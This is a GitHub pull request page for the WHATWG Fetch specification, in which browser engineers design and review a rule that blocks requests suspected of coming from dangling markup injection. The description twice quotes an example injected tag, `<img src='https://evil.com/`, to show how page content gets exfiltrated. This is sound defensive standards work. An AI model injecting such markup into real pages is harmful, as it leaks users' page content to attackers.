Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Block requests for suspected dangling markup. #519

Open
wants to merge 5 commits into
base: master
from

Conversation

@mikewest
Copy link
Member

commented Mar 28, 2017

As a mitigation against dangling markup attacks (which inject open tags like
<img src='https://evil.com/ that eat up subsequent markup, and exfiltrate
content to an attacker), this patch tightens request processing to reject
those that contain a < character (consistent with an HTML element), and
had newline characters stripped during URL parsing (see whatwg/url#284).

It might be possible to URLs whose newline characters were stripped entirely,
based on initial metrics. If those pan out the way I hope, we can tighten
this up in the future.


Preview | Diff

As a mitigation against dangling markup attacks (which inject open tags like
`<img src='https://evil.com/` that eat up subsequent markup, and exfiltrate
content to an attacker), this patch tightens request processing to reject
those that contain a `<` character (consistent with an HTML element), _and_
had newline characters stripped during URL parsing (see whatwg/url#284).

It might be possible to URLs whose newline characters were stripped entirely,
based on initial metrics. If those pan out the way I hope, we can tighten
this up in the future.
@mikewest

This comment has been minimized.

Copy link
Member Author

commented Mar 28, 2017

It feels a bit hacky to have unexplained checks like this in Fetch, but I'm not sure there's a better spot. WDYT?

/cc Random sampling of folks who come to mind for opinions from other vendors: @valenting, @dveditz, @youennf, @johnwilander, @travisleithead, @mcmanus

fetch.bs Outdated
@@ -2408,6 +2408,10 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps:
not <a lt="is local">local</a>, set
<var>response</var> to a <a>network error</a>.

<li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a>
is set, and |request|'s <a for=request>url</a> <a for=url>path</a> contains a U+003C
code point ("<code>&lt;</code>"), then set <var>response</var> to a <a>network error</a>.

This comment has been minimized.

Copy link
@annevk

annevk Mar 28, 2017

Member

Path is a list, so this doesn't quite work. Also, < doesn't end up as a literal in the URL, it becomes "%3C".

This comment has been minimized.

Copy link
@mikewest

mikewest Mar 28, 2017

Author Member

Ugh. Right. Would you prefer that I:

  1. Add a "this is potentially dangling markup" flag to URL that is set during parsing (which might help with the explanation here)?
  2. Walk through the items in path looking for characters?
  3. Serialize the URL and walk through that?

This comment has been minimized.

Copy link
@annevk

annevk Mar 28, 2017

Member

I would be happy with the flag. I don't see how 2 and 3 can work if you want to distinguish between %3C and < on input.

@mikewest

This comment has been minimized.

Copy link
Member Author

commented Mar 28, 2017

https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ spells out the justification a little more clearly. If folks don't fundamentally object, this is something I plan to try out in Chrome: relevant metrics show ~0.0006% of page views (https://www.chromestatus.com/metrics/feature/timeline/popularity/1770).

If we could get rid of the newline scan entirely by rejecting URLs with those characters outright, I'd be even happier. Chrome's initial metrics are high (https://www.chromestatus.com/metrics/feature/timeline/popularity/1768), but they're also wrong because a) I forgot to initialize the URL's "was whitespace removed?" flag, so it's sometimes randomly true (sigh), b) they're counting all URL completions, and not just those that result in requests. So I'm still hopeful, despite the ~0.02% it shows at the moment.

@mikewest

This comment has been minimized.

Copy link
Member Author

commented Mar 28, 2017

(Blink-only tests at https://cs.chromium.org/chromium/src/third_party/WebKit/LayoutTests/http/tests/security/dangling-markup/src-attribute.html. I'll upstream those to WPT if folks aren't opposed to the notion.)

@mikewest

This comment has been minimized.

Copy link
Member Author

commented May 22, 2017

Merged in the last few ~2 months of changes, and updated on top of a new flag in URL.

fetch.bs Outdated
@@ -2424,7 +2424,8 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps:

<li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a>
is set, and |request|'s <a for=request>url</a>'s <a for=url>parser-escaped-less-than flag</a> is
set, then set <var>response</var> to a <a>network error</a>.
set, and |request|'s <a for=request>url</a>'s scheme is an <a>HTTP(S) scheme</a>, then set
<var>response</var> to a <a>network error</a>.

This comment has been minimized.

Copy link
@annevk

annevk May 23, 2017

Member

You want one less "and".

@mikewest

This comment has been minimized.

Copy link
Member Author

commented May 23, 2017

Fixed the extra and, and move to the one-flag proposal in the latest version of the URL patch.

chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 24, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474249}
WPT-Export-Revision: 34b8d6ab689b1ecedef332baa2a155b543f50fa7
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 24, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474268}
WPT-Export-Revision: 76847294b106c9c50e921ac523722675102d452e
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 24, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474290}
WPT-Export-Revision: 9545e01418eb8738e5646b86527b986b3f2047a1
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 24, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474292}
WPT-Export-Revision: 8f0c33883ba9ad137a9ed9fe8a758022230f3e06
chromium-wpt-export-bot pushed a commit to web-platform-tests/wpt that referenced this pull request May 24, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474341}
MXEBot pushed a commit to mirror/chromium that referenced this pull request May 25, 2017
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474341}
@gusbemacbe

This comment has been minimized.

Copy link

commented Aug 27, 2017

Will it block like in PHP:

a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?

@mikewest

This comment has been minimized.

Copy link
Member Author

commented Aug 28, 2017

With the overarching caveat that you ought to ensure that you're properly escaping variables before dumping them into HTML:

  • Assuming that _relogios is just plain text, then <h3><?php echo _relogios ?></h3> won't cause a request, so nothing will be blocked.

  • Assuming that _fabrica is just plain text, then <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"> does not populate the src field, and doesn't change the resource that's being loaded.

  • Navigation caused by <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top"> would potentially be blocked if $html_language contained a removable whitespace character (\n, \r, \t) and an opening brace (<).

@annevk: The first pass at this is shipping through Chrome beta right now, and Firefox folks have expressed pretty clear interest (https://bugzilla.mozilla.org/show_bug.cgi?id=1369029). When my life is somewhat less chaotic, I'd like to get back to hammering out a way to get this well-defined without upsetting Apple.

@annevk

This comment has been minimized.

Copy link
Member

commented Aug 29, 2017

Sounds good, let me know if you need help in any way.

@mik25
mik25 approved these changes Oct 1, 2017
@mik25
mik25 approved these changes Oct 1, 2017
nctl144 pushed a commit to scrapy/url-chromium that referenced this pull request Jul 12, 2018
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
whatwg/url#284 and
whatwg/fetch#519.

Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ.

Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on: https://chromium-review.googlesource.com/514024
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#474341}
Cr-Mirrored-From: https://chromium.googlesource.com/chromium/src
Cr-Mirrored-Commit: 9e5ae901660de47ef1b844c6113eae91b5ae8e9e
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
4 participants
You can’t perform that action at this time.